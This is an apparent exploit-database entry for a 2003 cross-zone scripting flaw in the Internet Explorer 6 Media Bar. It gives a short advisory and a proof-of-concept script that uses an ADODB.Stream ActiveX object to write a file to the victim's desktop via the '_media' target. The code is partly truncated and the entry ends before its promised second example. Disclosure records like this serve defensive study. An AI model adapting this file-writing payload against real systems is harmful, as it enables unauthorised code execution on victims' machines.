Microsoft Internet Explorer 6 - Media Bar Cross-Zone Scripting

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1054160 漏洞类型
发布时间 2003-09-11 更新时间 2003-09-11
漏洞平台 Windows CVSS评分 N/A

It has been reported that Microsoft Internet Explorer may be prone to a cross-zone scripting vulnerability that could ultimately lead to execution of malicious script code and Active Content in the context of the My Computer Zone or a foreign domain. Reportedly, hostile code can be executed in the context of the Media Bar via the '_media' property of the '' method. Cross-Site scripting attacks are possible as well. This functionality is only available in Internet Explorer 6 and above.

This issue was originally described in BID 8577 "Multiple Microsoft Internet Explorer Script Execution Vulnerabilities". 


// '\\42' -> '\42' -> ' " '
img_src='javascript:file = \\42Exploit.txt\\42; o = new ActiveXObject(\\42ADODB.Stream\\42);'
+ ' o.Open(); o.Type=2; o.Charset=\\42ascii\\42; o.WriteText(\\42My name is Cheng Peng Su.\\42);'
+ ' o.SaveToFile(file, 2); o.Close(); alert(\\42I wanna create \\42+file+\\42 on your desktop!\\42);';

inject_html="<img src='" + img_src + "'>";'file:javascript:document.write("' + inject_html + '")','_media');


Additional proof of concept for cross site scripting has been supplied as well: